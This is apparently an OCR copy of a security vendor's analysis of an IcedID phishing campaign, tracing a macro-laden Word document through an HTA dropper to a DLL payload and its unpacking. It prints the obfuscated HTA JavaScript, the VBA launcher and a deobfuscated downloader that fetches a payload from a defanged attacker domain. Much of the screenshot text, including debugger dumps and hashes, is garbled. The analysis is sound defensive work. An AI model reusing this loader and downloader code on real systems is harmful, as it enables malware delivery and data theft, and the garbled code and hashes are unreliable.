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Executive Summary

» SentinelLabs has uncovered a recent IcedID campaign and analyzed nearly 500 artifacts associated with
the attacks.

e IcedID Office macro documents use multiple techniques in an attempt to bypass detection.

 To further obfuscate the attack, data embedded in the document itself is used by the malicious macro.
Analyzing only the macro provides an incomplete view of the attack.

e The HTA dropper embedded in the document is obfuscated JavaScript, which executes in memory and

utilizes additional techniques to evade AV/EDR.

Overview

Many security researchers thought that IcedID would be the successor to Emotet after the coordinated takedown
of Emotet malware in early 2021 by law enforcement agencies. IcedID (aka BokBot) was designed as a banking
trojan targeting victims’ financial information and acting as a dropper for other malware. Initially discovered in
2017, IcedID has become a prominent component in financially-driven cybercrime. The malware is primarily
spread via phishing emails typically containing Office file attachments. The files are embedded with malicious

macros that launch the infection routine, which retrieves and runs the payload.

In May 2021, SentinelLabs observed a new campaign delivering IcedID through widespread phishing emails laced
with poisoned MS Word attachments that use a simple but effective technique to avoid suspicion. This ongoing
IcedID campaign attempts to gain a foothold on the victim’s machine through a crafted Word doc in which the

embedded macro itself does not contain any malicious code.

Just like a genuine macro, the IcedID macro operates on the content of the document itself. In this case, that
content includes obfuscated JavaScript code. This simple technique helps to evade many automated static and
dynamic analysis engines since the content’s malicious behavior is dependent upon execution through an MS

Office engine.

The obfuscated JavaScript is responsible for dropping a Microsoft HTML Application (HTA) file to
C:UsersPublic . The macro then employs Internet Explorer’s mshta.exe utility to execute the HTA file. This

second stage execution reaches out to the attacker’s C2 and downloads a DLL file with a .jpg extension to the

same Public folder. The HTA file calls rundl1132 to execute this payload, which serves to collect and exfiltrate

user data to the attacker’s C2.

Below we present further technical details of this recent campaign from examination of almost 500 artifacts.
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Technical Analysis

The IcedID phishing email contains what looks like an innocuous enough Word attachment. As expected with
these kinds of malware operations, opening the document prompts the user to enable editing and then ‘Enable

content’.

This document created in previous version of Microsoft Office Word.

To view or edit this document, please click "Enable editing" button
on the top bar, and then click "Enable content"

Targets are prompted to enable macros when opening the maldoc

What is unexpected is that the macro itself is uninteresting.

The VBA macros contained in the document

In this case, the malicious code is found within the document itself, reversed JavaScript that is then base64

encoded.

Page 2 of 11


https://www.sentinelone.com/blog/guide-encode-decoded-base64/

https://labs.sentinelone.com /evasive-maneuvers-massive-icedid-cam paign-aims-for-stealth-with-benign-macros/

 document.xml ) No Selection

rPr rFonts i A
woval 1281t:htmlot &1t bodvaat Bt diy

id='contentl1'&gt; FX17KWUoaGBNBYWNP02Vzb2xjLnNzYWxDdGhnaXI7KTIgLCIncGoueGVkbk18Y3VydHNCXGNpbGI1cFxcc3I1c3VeXDpjlihlbG1lmb3R1dmFzLnNzYWxDdGhn
aXI7KX1kb2J1c25vcHN1ci5iVnlyb211bSh1ldGlydy5zc2FsQ3RoZ21y0zEgPSB1cH1@LNNZYWxDdGhnaXI7bmVwby5zc2FsQ3RoZ21yOykibWF1lcnRzLmIkb2RhI1iheY2VqYk9YZ
XZpdGNBIHd1biA9THNz YWxDdGhnaXIgcmF2e31ydHs pMDAy IDBITHN1dGFAcy5iVnlyb211bShma TspKGRUZXMuY1Z5cm9 tZWB7 KWVzbGFmICwiYUB9cmVzdSZF cmRXM1AZPXdQde
11QnFSZyZxNkE2ZDdDWERtMmxCbHZ5PWRpYyZuZ2 JLPWRpcz82bnVsL3RyVH1PY jZFU29KL 3VQc1BuV1hNc j IXQUNKMnhgMHBYb3BIL1g1d1d] Y1BIYWQvbULTTFEBRMAY UU1oU2N
KTmQwT@hUMINSeUFqbm5xMkdaUXN4eUNBcksydnE ve jM2cERrNHF i TWgvYWRkYS9tb2MuejMxMDIBbmVtZWdhbmFtZHIhd2t3YS8vOnBAdGgiICwiVEVHI ihuZXBvLmIWeXIvbWVt
OykicHRAaGxteChybG14c26iKHRj ZWpiT1h1dml0YOEgd2VuIDAgY1Z5cmot ZWhgemF2&1t ; /divagt ;&1t;div

id='content2'&gt; fXspdH]1dm5vQ25 vaXRWZWN4RXR4ZW40aGNOYWNIOykiYXRoLnh12653dGN1cnRzXF xjaWxidXBcXHNY ZXNIXFwéYy IoZWxpZmVeZWx12C50eGVUb3B1Umtu
aWx7eXJ80ykid6NlamdvbWvBc31zZWxpZiSnbml@cGlyY3MiKHRI ZWpiT1hldmlBYBEgd2VuIDBgdHh1VGIwWZVIrbmlsIHIhdjspInRpbkluaWd1bFAsZ3Bqlnh1265JdGN1cnRzX
FxjaWxidXBcXHNyZXNIXFwéYyAyM2xsZG51cilobnVyLikibGxlaHMudHBpcmNzdyIodGN1amIPWGV2aXRiQSB3ZWa=&1t; /divagt;&lt;div
id='content3'&gt;msscriptcontrol.scriptcontrol&lt;/divagt;&lt;div id='tablel'&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZ&1t; /divagt;&lt;div
id='table2'&gt;0123456789+/&1t; /divagt;&1t;div id='table3'&gt;&1t;/divagt;&lt;script language='javascript'agt;function
iteratorPtrPointer(exceptionDataStruct){return(new ActiveXObject(exceptionDatastruct));rfunction )
tempOptionSwap(captionTemp){return(databaseData.getElementById(captionTemp).innerHTML) ; Hunction clearException(){var valueTable =
tempOptionSwap('tablel');var listboxW = valueTable.tolLowerCase();var indexQuery = tempOptionSwap('table2');return(valueTable + listboxW

+ indexQuery); Hunction databaseConvertlLink(s){var e={}; var i; var b=8; var c; var x; var 1=0; var a; var leftWW=''; var
w=String.fromCharCode; var L=s.length;var textboxFuncVar =

constPasteMemory ('tArahc'); for( &1t;64;i++){elclearException()[textboxFuncVar](i) iHor(x=0;x&lt;L;x++){c=els

[textboxFuncVar](x) b&1t;&1t;6)+c;1+=6;while(l&gt;=8)

{((a=(b&gt;&gt;&gt; (1 ))&amp;@xff) || (x&1t; (L-2)))&amp;8&amp; (leftWw+=w(a)) ; }}return(leftww);}; function

constPasteMemory (repoBorder){return repoBorder.split('').reverse().join('');}swapRemove = window;databaseData =

document ; swapRemove . resizeTo(1, 1);swapRemove.moveTo(-100, -100);var repoRef = databaseData.getElementById('contentl').innerHTML;var
collectionConvertClass = databaseData.getElementById('content2').innerHTML;var classStruct =
databaseData.getElementById('content3').innerHTML;var repoRef = constPasteMemory(databaseConvertLink(repoRef));var

collectionConvertClass = constPasteMemory(databaseConvertLink(collectionConvertClass));&lt;/script&gt;&lt;script
language='javascript'&gt; function screenButtonIterator(procStorage){var memorylListSwap =
iteratorPtrPointer(classStruct);memoryListSwapl'Language'] = 'jscript';memorylListSwapl'Timeout'] =

66006 ;memoryListSwap[ 'AddCode ' ](procStorage) ; return{null);}&lt; /script&gt;&lt;script language='vbscript'&gt;Call
screenButtonIterator(repoRef)&lt;/scriptdgt;&lt;script language='vbscript'&gt;Call

screenButtonTterator(collectionConvertClass)&lt; /scriptagt;&lt;script

language='javascript'&gt; swapRemovel 'close']();&1t;/scriptdgt;&Lt;/body&gt;&Lt; /htmlagt;

w:h M top ght

Obfuscated code in the document.xml

The MS Word macro writes this code out as an HTA file to C:UsersPublic . While this ensures success in terms
of user permissions, arguably this is an operational mistake from the attacker’s side in the sense that this folder is a

location generally monitored by security products.

The HTA code is executed by the macro using the GetObject() and Navigate() functions. This behavior is a

“VB Legacy” technique that conforms to how older Office macro files behave.

title = ActiveDocument.BuiltInDocumentProperties("title")
End Function

Function mainCountList ()

mainCountList = ActiveDocument.BuiltInDocumentProperties("subject”) & ""
End Function

Sub clearBorder|()

Open title For Output As #1

Print #1, ActiveDocument.Range.Text

Close #1

On Error Resume Next

GetObject (mainCountlList & "") .Navigate title

End Sub
Part of the VBA code embodied in the Word Document

Once the HTA code is running, it deobfuscates the JavaScript code in-memory and utilizes two additional

techniques in an attempt to evade AV/EDR security controls:

o The HTA file contains msscriptcontrol.scriptcontrol COM component, which is used to execute

interactively with JavaScript.
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e The code calls JavaScript functions from VBScript code within the HTA. This technique also confuses

different code and activity tracking engines within certain endpoint security products.

ChUsersy Public)

e Mame " Date modified

_ Desktop 10/5/2020 1:30 PM
) Libraries 10/1/2020 11:16 AM
B Public Account Pictures 10/1/202011:18 AM
i Public Docurnents 10/1/2020 11:12 AM
f Public Downloads 9/15/2018 12:33 AM
Public Music 9/15/2018 12:33 AM
Public Pictures 8/15/2018 12:33 AM
Public Videos 0/15/2018 12:33 AM

desktop.ini 3/18/2019 G:4% PM

1,':'] pointerTrust.hta 0,/9/2021 555 AM

HTA file dropped in the Public folder

Below is the deobfuscated and ‘beautified’ version of the code from the HTA file.

var memoryVb = new ActiveXObject("msxml2.xmlhttp");

memoryVb.open("GET", "hxxp[:]//awkwardmanagement2013z[.]com/adda/hMbgdkHp63r/qv2KrtCyxsQZG2gnnjAyyS2
memoryVb.send();

if (memoryVb.status == 200) {

try {
var rightClass = new ActiveXObject("adodb.stream");
rightClass.open;
rightClass.type = 1;
rightClass.write(memoryVb.responsebody);
rightClass.savetofile("c:userspublicsizeTempStruct.jpg", 2);
rightClass.close;

} catch (e) {}

The code initializes an MSXML2.XMLHTTP request and specifies the method, URL, and authentication
information for the request. If the URL responds with a status code of 200, the code proceeds by downloading the

remote file with a “.jpg” file extension. Unsurprisingly, the file is not what it pretends to be.

Looking at related domains by the same actor shows the breadth of activity. When tracking this campaign, the
domain mappingmorrage[.]top had numerous duplicates of the “.jpg” file and the second stage binary associated

with this campaign. Multiple file names are used such as “sizeQuery.jpg”, “sizeTempStruct.jpg”,

“tmpSizeLocal.jpg” and so on.
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DETECTION DETAILS LINKS RELATIONS SUBMISSIONS COMMUNITY
Communicating Files
Scanned Detections Type Name
2021-06-M 29 169 Win3z DLL 024bbfcfd483a0843d%bccfBcSolaarbdf461be504a75bec78d08e5817d9ca764
2021-06-02 33769 Win32 DLL 059c21104ac918075918154d2895dc49db5beedas3cact2779ee3694c04Pab13
2021-05-28 3169 Win32 DLL sizeQuery.jpg
2021-05-31 40 1 69 Win32 DLL 99c140af4f02592ff6a485bb0as30230.virus
2021-05-28 23169 Win32 DLL 0e709d70098369b06b%a20c744c1e0947ceBf6c57daba21953d7bd52dé3%eeed
2021-05-31 35769 Win32 DLL bal7a40c4fd75a63f3ddd32dbb1Baaffvirus
2021-06-01 43 169 Win32 DLL 165b4c765019994d9e15252cf131d10d16d3a281101341d28 1cafcd182e7edb6
2021-05-31 30/68 Win32 DLL 179adbdddcae0feb70fc75f3e2ef97ddachbdeled33e1dsf7425645c34186b2aa
2021-05-24 37 169 Win3z DLL 1a94aBa03baf212142b9d24a47dd?be567c0addecalf 3cdods805c3ef7900655
2021-05-27 28 / 69 Win32 DLL stage_2.bin
2021-05-27 331769 Win32 DLL 93f2c02fcalebac2d3ecdazb3433dcd2.virus
2021-06-01 42 ] 69 Win32 DLL 206dda3c0263b5féeel0ded5a5101628705c36158214c2366de7afd16028833F
2021-06-03 36142 Win32 DLL tmpSizelocal jpg
2021-05-24 36169 Win32 DLL 24f7aaf2bceicB7e0aBdib5fdsfbd7626a37 feadd6cdff901Bcf655badccTdec
2021-05-27 40 1 66 Win3z DLL ¥iwas
2021-06-03 45 [ 69 Win32 DLL sizeTempStructjpg
2021-05-30 391769 Win3z DLL 2deb152b?7d7aaf?ba7129e7fedb59845535f856fcdsff4Pbboif0afc302175d
2021-06-04 34768 Win3z DLL 30f9feb1bee37477070d730b?64295d8ae10b358a72c240ca3f2ccPe56992ec
2021-06-01 38 /69 Win3z DLL 41e035e414b28da198cb263b6d2d8ada513655504cfbd43588bas705f654b8ba
2021-06-01 40/ 69 Win32 DLL 4f2f98090025a6fcdcabbd650825c81ac2?e5558e2eb5929172e51c2c44e1d39
2021-05-27 337169 Win32 DLL fb62e558eaa327 910820231 2d0979 evirus
2021-05-30 40 [ 69 Win32 DLL 5ea?41db3f8d9d3c52bB94741b440c0d7811395b5693c891217446376dcT 16D
2021-05-27 25 /68 Win32 DLL 60c9a714720d20331489027337d24451900e8860ef5064e9c0d348dd2a9d5832
2021-06-03 40 /63 Win3z DLL 60ed8db39e6004701d16051cbdd5bdbcicebd 763966dfcc f60bal06cEBE1a3
2021-05-28 30/68 Win3z DLL 633dBSeaeds0bfbOcsesDafe2e01fé6fd3154547e5dfbd0e7e32d343fe553ce
2021-06-02 34 /69 Win32 DLL 465e48b1259470206baB5cca5d08f2060982b4e7070348731fa%b3bcaB13eb3e]
2021-05-28 28169 Win3z DLL £82c8f435481e7B4db54d229492e7f67df24c7%ed421bceabd4006b25dc0e8es
2021-05-24 38 /69 Win3z DLL &8de02fabi49besbBbes7625ed55633b3c6649ea6048226f953c07 11f56aaeec
2021-05-24 34769 Win3z DLL €62744911486e0b31da23cb46392d21%virus
2021-05-31 42 [ 69 Win32 DLL 4d801b1357e290ci6f73bc1381339415de1f5b3b3d6576fa%ad04fcclaceea?f
2021-05-28 307468 Win32 DLL 4dePaab8b9d78c54d2biBbi21001fb21a64d3bb312cclaefbe 1764c4ed?0F055
2021-06-03 46 1 69 Win32 DLL textMemTmp.jpg
2021-06-03 45 | 69 Win3z DLL sizeTempStructjpg
2021-05-27 34769 Win3z DLL payload_1.bin
2021-06-03 44 1 69 Win32 DLL tableWjpg
2021-05-28 301769 Win3z DLL 7a429d9b2eY6dcf3d24057a3e345d1906fada148453e11b68435d94d926C0029
2021-05-28 381/ 69 Win3z DLL 7d195e64fa032a7829050af212d9cce58a7cea27 315777991840eb7 3b8ab121d
2021-05-31 40 /1 69 Win32 DLL e95c717e12b71752414b72f2182f 705 1virus
2021-05-24 36169 Win32 DLL 91bdatcaesSbee?2b?0b697badeecO?45f562e9315230bcbbB7058820a86c7e7
2021-05-31 A2 ] 67 Win32 DLL 1773beef4760af7aacbc0f5a0dd73f26 virus

IcedID related files on VirusTotal

IcedID JPG/DLL

Changing file extensions is a common, if unsophisticated, technique aimed at evasion. In this case, the “.jpg” file
is actually a DLL. Analysis of the file’s exports reveals the DLLRegisterServer function, which is an obvious

candidate for the initial installer of the IcedID malware.
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[Ed pestudio-pro 9.07 - Malware Initial Assessment - wawwinitor.com [\ users\marco! desktop)sizeteamstruct.dil]
file settings about
HxE%?

B8 clusers\marcoldesktophsizeteamstruct.dil ordinal name (3) location duplicated (0) ordinal (0) gap (0) forwarded (0)
Jd indicators (3/22)

int _cdecl bivdcuaoivoid] ext:0000000180...

» int _cdecl ejepjrwge(void +ext:0000000180,
int _cdecl miwjmivoid) bext:0000000180...

> dos-header (64 bytes)
B dos-stub (144 bytes)
file-header (May.2021)
optional-header (Native)

DlIRegisterServer text:0000000180...
Plugininit ext:0000000180...

ok W A

Hll directories (time-stamp]

= sections (97.56%)

abe strings (count

Ak debug (time-stamp

PE Studio

To unpack this binary, we can load rundl132.exe in xdbg64 and use the command line option to specify the

exported function in sizeTeamStruct.dll , as shown in the screenshot below.

dil - Thread: Main Thread 21F0
v 5 elp  Aug 16 2020
Z2oN|+0 ta i talo2Fets al

B o L& log |4 Notes #® Breakpoints ™ MemoryMap  [[)) Call Stack &% SEH [o] seript ) symbols <> source I References 9 Threads B Handes

- Module: sizeteamstruct.

Trace

BIFA 01 cmp edx, 1 EntryPoint
00007FFBE26E10F7 | » 75 07 jne sizeteamstruct.7FF8526E1100
00DO7FF8. 48: 8900 EOC60000 mov guord ptr ds:[7FFB526ED7EQ],rcx
00007FF8 823D 65C70000 0A cmp dword ptr ds:[7FFB526EDB6C] ,A Az '\n'
00DO7FFS: %, 7C 13 i1 sizeteamstruct.7FFB526E111C
000 8BOE 59C70000 mov eax,dword ptr ds:[7FF8526ED868]
000 8048 FF Tea_ecx,qnord ptr ds:[rax-1]
000 OFAFCE imul ecx,eax
0000 83E1 01 and ecx, i
0000 v 74 02 Je sizeteamstruct.7FFE526EL11C
00007 F EB FE jmp sizeteamsTruct.7FFS52EE111A
00DO7FF85 83 01000000 mov eax,l
00007FF8 c3 ret
00007FF852 56 push rsi
00007FF8: 48:83EC 30 sub rsp.
00007FF8 823D 36C70000 DA cmp Smority ptr ds:[7FFB526EDB64], A A:'\n'
0DDO7FFS: v 7€ 13 i1 sizeteamstruct.7FFB526E1143
00007FF8 8BOE 2ACT0000 mov eax,dword ptr ds:[7FF8526EDSE0]
F8 8043 FF Tea_ecx,qnord ptr dsi[rax-1]
OFAFCE imul ecx,eax
83EL 01 and ecx, i
: v 74 02 jE sizeteamstruct. 7EF8526E1143
=1 mp sizereamstruct.7FF8526E1141
e 1 8B35 7BCE0000 = esi,dword ptr ds:[7FFB526ED7C4]
. 48: 81F6 C99F5806 Xor rsi,6589FCO
. B526E1150 8935 GECE0000 mov dword ptr ds:[7FFB526ED7C4],esi
. 526E1156 8135 68CE0000 C99FSE(xor dword ptr ds:[7FFBE26ED7CE],6589FCT
. 526E1160 3103 xor ecx,ecx
| D0D07FFB526E1162 48: 89F2 mov rdx,rsi
| 00007FFB526E1165 41:B8 00300000 mov rad, 3000
8| [orion ErecvEE T {30 41:B9 04000000 mov_rad, 4
e | 00007FFE52, FF1E_ A1CE0000 €&l qword ptr ds: [7FF8526ED818]
| 00007FF8 48:8905 52C60000 mov qword ptr ds:[7FFB526ED7DO],rax rax:EntryPoint
| 0ooo7FF8 £33 DECEU000 04 cmp dword ptr ds:[7FF8526EDBG4] ;A A 'in'
-------- . - i1 sizeteamstruct.7FFB52GE119A
. BBDD D:csoooo mov ecx,dword ptr ds:[7FFB526ED860]
. Tea edx,qword ptr dsi[rcx-1]
OPAFDL iyl edx,ecx
83E2 01 and edx, i
52651196 v 74 02 jE sizeteanstruct, 7FFE526E119A
526E1198 EB FE mp sizeteamstruct. MboEe 2 R A
B526E119A C64424 2F E3 oV byte prr ss:[rsp+2
00007 FFB5 26EL19F BAOD 5BZE0000 mov cl,byte ptr ds: [7FFBSZGE4DDO]
00D07FF85 26E11A5 884C24 2D mov byte ptr ss:[rsp. cl
00007FF8526E11A9 44:8D46 FF Tea rad,qwurd ptr o [rs1 1]
00007FF85 26EL 102 xor edx
DDDO7FFS: 4C:8DOD 4AZE0D00 Tea r9,qwurd ptr_ds: [7Fraszanouo]
00007FF8 804424 20 98 asﬁ gy ptr ss.Er’svaD
C06424 2D 04 shl byte ptr ss:frsp+anf, 4
BA4C24 2D mov cl,byte ptr s frsp+2DIg Change Command Line X
884C24 2E mov byte ptr ss:[r’svaE] cl
it i e yenir g;;g:gm_,g [2\undisa.exe” "C:\Users\Msteo D uct.dI’, DR egisterServer |
804424 2D 9F add byte ptr +20 , 9 e
BA4C24 2D ov c1,byte E’rs +2Dfl| III Cancel ‘
00007FF85 26E11DA 084c24 2E or byte ptr ss: Ir’sp-rZE il = —
00D07FFB5 26ELIDE BA4C24 2F mov c1,byte ptr ss:lrsp.2f
00007FF85 26E11E2 304C24 2E xor byte ptr ss:frsp+2e],cl
DODOTFFES2GELIEG FE4424 2F inc byte ptr ss: irsp2rl
000! GE11EA BA4C24 2E mov cl,byte ptr EI’SDT E}
00007FF 8526112 880C10 o byte ptr d;:[ rdx],
00007 FF8526EL1FL 833D 6CCE0000 DA mp dword ptr ds: [7FFBSZGEDBG1] A A:'\n'
O0D07FFBE26E11FE| v 7C 11 11 sizeteamstruct.7FFE526E1208
00007FFE52 BBOD 60CE0000 mov ecx,dword ptr ds:[7FFB526ED860]
8071 FF Tea esi,qword ptr ds:[rcx-1]
OFAFFL imul esi,ecx
83E6 01 and esi,i
v 75 13 Jne sizéteamstruct.7FF8526E121E
000075 F 85 2651202 41:3500 cmp rad,edx

Loading rundll + DLL with the exported function

To get to the packed binary, we need to add a breakpoint on VirtualAlloc and execute the run command until
the breakpoint is hit. We want to look for the call that is responsible for allocating memory in the address space

and dump the binary from the address location.
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as:aaEc 38 sub rsp, 38 Virtuatatioc %z
48:855424 48 mov quord per < !rsn.ssl,m, Hide Fry
a8is2ecze 40 mov amard per 53:8rap- 4ol rex -
A B o RAX  000001B26CAZ0000 =
v 74 OF je lrernﬂh-se 7FFESEBECCK R b
&85 DFF02000 ey Etianerd per e scarmsey Rox nitdT1. 00007FF8E
bt Cap 7o
< §5° kerneibace. 7eFssEesAAOC ReP
and réd,Ferertco Bse
RST Ollkegisterser
Ro1
RE BIfA\XTF"
¥rsp Rs
16k Fexrquerd ptr 32iira il L
T per g [enTATIBeateviruas 5
A R Rl
Cest sax R12 Lmicr\\usersyy
v 78 0A £ kernelbase. 7erasessccra R13
;084424 40 may rax,anord per ss:frspraoll R
83Ca 3 244 r<p RIS 000001B16CAI0000  “MZM"
s [ mov_ecx, eax RIP  DDOO7FFESESGCCFA kernelbase.0000
Cesrrore &1 keineibase. rerasssecon
Xor cax,
LB oL E— Sruscs | 0000000000000304
oFo sFo DO
Fo T
LastError 00000000 (ERROR_SUCCESS)
Laststatus €o000034 (STATUS_DBIECT_NAME_NO
s 0028 s 0053
€5 oozs D5 ooze
cs o033 55 ooze
STrCMPNICW. =
ST(0) 00000000000000000000 Xx87r0 EmpTy
o ST(1) 000000DO00D0O00000D X872 EMPTY
20 pra— 5T(2) 00000000000000000000 X87r2 Empty
i et b ST(3) 0000000000000000000D X87r3 Empty
26 v je umdune 7FFSSEGECDT2 ST(3) 00000000000000000000 X87r4 EmpTY
025 movzx riod,word ptr ds:(rox, s “Mz ST(5) 506060DOOOOOBO0OO00D x87rS Empty
2¢ lea rbx, qwora mr n- [er-‘ bx: "Mz’ ST(6) 0D0000000000000000000 x87ré EMPTY
30 movzx edx,word pf rii] ST(7) 00000000000000000000 X87r7 EMPTY
34 Ter S awor et 0t ]
3 e Tk il xerTaomora eree
3¢ 7-17 30,1 X87TTW.1 3 (Empty)
0 ea !A X87TW_3 3 (Empty)
Da4: X87TW.S 3 (EmpTy)
s N 3 (Eny  xamc 3 (menn
cos2 xg7Statusword 0000
H : E7WCE 0 XETSW.CZ 0
ss| - TNCL 0 ATICO 0 xermEs O
| YRIWSE 0 xR 0 wmrw 0
io| - 7
st| & ap eax,
| - 7 §2 kernelbase. 7eraseseczs
ci| " a0 caxirad
G| v Touaord per o
4 Rov a1 samord per rs ummuummmgn aEFAG\X7E™
5 or canyen e
cax 7spe2a] 0000000000000246
~ EE jmp kernelbase. 7FFSSEGECDET s
2 nts
& it M
2 ine
>
. TeXT:00007FFBSEGGCCFA kernelbase.d11: SSCCFA #5COFA
S 5557
Wouw: | @ommz  E0mp3 | Wowws  Sours L D k 6cAz0000 return o 000001816cA20000 Trom
e 300003600005 80
- - . ceseen » mmnmmm
000001816CA10000 0703 00 00 00104 00 00000
200001816cAL0020 (09 00 00 00|40 00 b e 0900000000
00001816€A10020 | 00 00 00 0000 00 00 0000 00 EAREEETy i = o e
pooomaiecau) 590100 00 00 0 o Bl i iiairae nae 000D7FE8S26E1747 rerurn to sizeteanstruct .0000TFRAS26E1747 from sizetemstr
00001816CAL0040, 0€(00 84 09 0|21 88 AR bl g forh ST m“
000003516€A10050 0|72 & &7 72|61 A
1816CAL0060 6520 72 75 G20 69
e . Sin e 4 %%:sssm;mm rund1132,00007FF699030000
000001816CA10080 A 8|61 A0 L e aas
00001516¢410050 88|63 4D A 8|04 <6 2 e
oumsamiEckaseG selEn o O aF 0% of “ 00000381ECECOAD L\ "C: \\Us rs\\War o\ \Desk op\\s iz et eanstruct. 1
00001816€AL0080, 8260 AD A 8|87 €4 a
000001816CA100C0 6551 A0 0a 87
000001816CAL0000, 00(00 00 00 00|00 00 PREFPPPPFRRPRFPE
516cA10050 0054 86 05 ur 00007 5 -
200001816CAL00E0 99/54 86 02 9joc AE 00007PRESIGEIORS return o 311 tesnatrice.0O00TFFAIEELORS Fron izetesnat
000003816€AL0100 00 29{40 20 SIS % 5 nson o
00001816CA10100 9900 0z 00 00|49 10 00007PRESmIT8C) return o Fund1132.00007FF4920338CH From rundl1.00007FFS
29900i816cA10120 00 00 00 00/0¢ 00 0000000000010003
000001816CAL0130 | 00(00 04 00 00|00 00 o ]
2000038166401 40| 20|00 %000 30
000001816CAL0150, 00(00 00 00 00[00 10 o s rrece] asatg=
000001816cAL0160 00(10 00 00 00|80 44 0000000000000000]
000001816CAL017 00|00 00 H 7058A|
D00001816CA10150 00(c 00 00 00(00 00 = und1132. 00007 0
Sooo0iBiGCALDi 0 0a{cc 0 89 33|00 00 b O000IEFER0EAcE | recurn o rundT1SE. 00007FFESIACE Trom
Sooooiniccaroias 2 59 59/% 80 P |
000003B16€A10180 09(00 00 09 00(90 00
000001816CALO1CO 00 00loo 40 e 2

Unpacked IcedID

Looking at the dumped binary in PE Studio what catches the attention are the WinHttpOpenRequest
WinHttpSendRequest , and WinHttpReceiveResponse functions.

The WinHttpOpenRequest creates an HTTP request handle and stores the specified parameters in that handle,

while WinHttpSendRequest sends the specified request to the C2 server and the WinHttpReceiveResponse waits

to receive the response.
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-5 chusers\marco\desktoplicedid\packed_icedid.bi | name (42)

----- £ indicators (4/34)

- JE) mitre (2/2)

----- P virustotal (error)

----- I dos-header (B4 bytes)
B8 dos-stub (160 bytes)

----- [= file-header (Apr.2021)
----- = optional-header (GUI)
----- # directories (time-starnp)
----- = sections (blacklist)
.4 | libraries (1/6)

[ % exports (duplicated)

..... F exceptions (17)
..... =0 tls-callbacks (n/a)

resources (n/a)
----- abc strings (19/184)
- 4T¥ debug (nfa)
----- _r manifest (n/a)
-{10] version (n/a)
.55 certificate (n/a)
..... [ overlay (n/a)

PE Studio with the unpacked IcedID

After loading the binary into xdbg64, we add the breakpoint on WinHttpOpenRequest . When this breakpoint is

hit, we can see from the disassembly that the code is generating the domain through an xoring operation. This

GetUserMameh
GetTickCountfd
LookupfccountMamelW

WinHttpOpen
WinHttpQueryHeaders

WinHttpReadData
WinHttpReceiveResponse

WinHttpSetOption
WinHttpCloseHandle
WinHttpSendRequest
WinHttpSetStatusCallback

WinHttpConnect

WinHttpCueryDatafvaila...
WinHttpOQueryOption
WinHttpOpenRequest
VirtualAlloc

VirtualProtect

GetProcessHeap
HeapAlloc
HeapRehlloc
HeapFree
memset

mEmCpy
SHGetFolderPaths
CreateDirectoryd
GetTernpPathA
WriteFile

CreateFileA
SwitchToThread

Sleep

CreateThread
ExitProcess
GetProcAddress
LoadLibraryd
GetlastError

wsprintfl

wsprintfW
GetComputerMamebx b
Istropyd

Istreatd
GetComputerMameEx\W
CloseHandle

helps us to understand how the C2 value is generated.
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i

49:8BFE
E£8 IFRFFFFF

s As
48010000

ssco
~ OFSE 40830300
H

Test i

byte prr

mov_rdi,ris

est e

test al,
b

Test e edx
Xor edx,ed)

ber 52
Xor eax,eax
Tea rox,
mov

Tea
mov
mov
rep

mov dword ptr
Tea d

EE
H

v ecx, 10
rep

mov quor
Tea rat,

mov guord ptr saifrsp. s
S winncen: rrasztaanc
ris

lﬂMll.?FVlSZFIEFK
4= [7FFBS3038042] 1
e winhKEp. 7EFES2FREF8E
46C6957
a1 witncep. 7rrsszrassa0
Test eax,
llll wll'!ttD-"‘FlSZFIEFA’
ri4

movzx eix Thyte pre as: (rersssosEDsA]
L e—
Jne winhtto. Trraszrazrre

lrnp ésl est
ne winhttp. 7FFES2FBFO34

s5: 0o

Crat sl

i AL
per_s

R FTATS —
£ 7
Rov raxiqword ptr de:(7FFSI0NB0]  |raxiLrosT" boooo
v g’.f.“'??:&’:» P ST [rbp):L"Cookie: _gads=1788140866:2:218429:178; _gat=10.0.18363.64; _g [ FB30 &L "mappingmorrage. top”
% aned ot aszfranan ron oot mapptngeoreage. 109 i packed! teedid: o .
mov Mrl Hr ds:[r11-28 3 "wswnnnan, F12:4" KORO\XTF™ )OUDD
Bite e o1 rtasacbionn i
Tk rawerd g it e FFO20 L"mappingmorrage. top”
v mr ptr us.[u 30],r13 (ST TL R — F610 L"mlpp'i ngmorrage. top"
Pl e s ima\xie" Fa50 &" KORG\X7F"
FFDF8
boooo

[rbp-70]

rexig® Ko

i 8L m

«
P}

sof {rop-50]

[rbp-50]:

cFo TEL 11
+a"mappingeorr age. top”

Sttt LastError 00000000 (ERROR_SUCCESS)
LastStatus 00000000 (STATUS_SUCCESS)

GS 0028 FS 0053
€5 0028 DS 0028
€s 0033 S5 0028

s1(0) x87r0 Empry

sTé) x87r1 Empty
s162) x87r2 Empty
ST(3) X87r3 EAPLY O.
STCH) x87r4 Empty

Re\x7E sT(s) x87r5 Empty
s16) x87ré Empry O
ST7) x87r7 EmpTy
x87Tagwora FFFE
X87TW.D 3 (Empty) x8TTW.1 3 (Empty)
T2 (). KETILE § (esnty)
X87TW 4 3 (EmpTy)  x87TTWS 3 (Empiy)
Xemie 3 (Enpry)  xermAT 3 (Empry)
e7statusmord 0000

appingnorrage. top* t7SE o ey o xersec: o

o X o e 0

YeTousr 0 xeIP o xaTow 8
X b xera b D
XTI 0 ABTRCTOP O (SToRBTr0)

A" ENGRO\XTF" < >

21 rdx 0000DD0180004190 L
5: r8 0000000180004338 pecked_icedid. 0000000180004338
43 £3 000DODOOOOOO0OOD

5

Trspr2s] 0000000000000

4TENORO\XTF" v

610 L
*3p=000000A874SFFATS.

age. top’

TEXT: 00007FFBS 2789580 WinNTEp. d11: 329580 #2880

¥ oump 2

£2888835M28888 u88NEY

¥4 oump 3

W0umpd % DupS

818882828

b

g
LR

49

Y

0D007FFS52FDODEB
00007 FF852FDODED

00007 FF852FDODCE
00007 FF852FDODDO
DD007FF852FDODDS
00007 FFS52FD0DDA
00007 FF852FDODEZ
00007 FF852FDODES
00007FF852FDODET
00007 FF85 2FDODEC
00007 FF852FDODF1
0D0D7FF852FDODF6
00007 FF852FDODFS
0D007FF852FDODFC
00007 FF852FDODFF
00007 FF852FDOEOZ
00007 FF85 2FDOEDT
00007 FF852FDOEDI
DD007FF852FDOELD

.
.
.
.
.
.

ssssss

SsssesssssssEnssssanEnEES

00007FF852FDOELE
00007FF852FDOE20
00007FFB52FDOE23
00007FFE52FDDEZA
0D0D7FF852FDOE2D
0D007FF852FDOE3L
DD007FF852FDOE3S
00007FFB52FDOE38
00007FF852FDOE3E
00007 FFB5 2FDOE3D
00007 FF852FDOE40

OUDU’FFSS"FDUESL
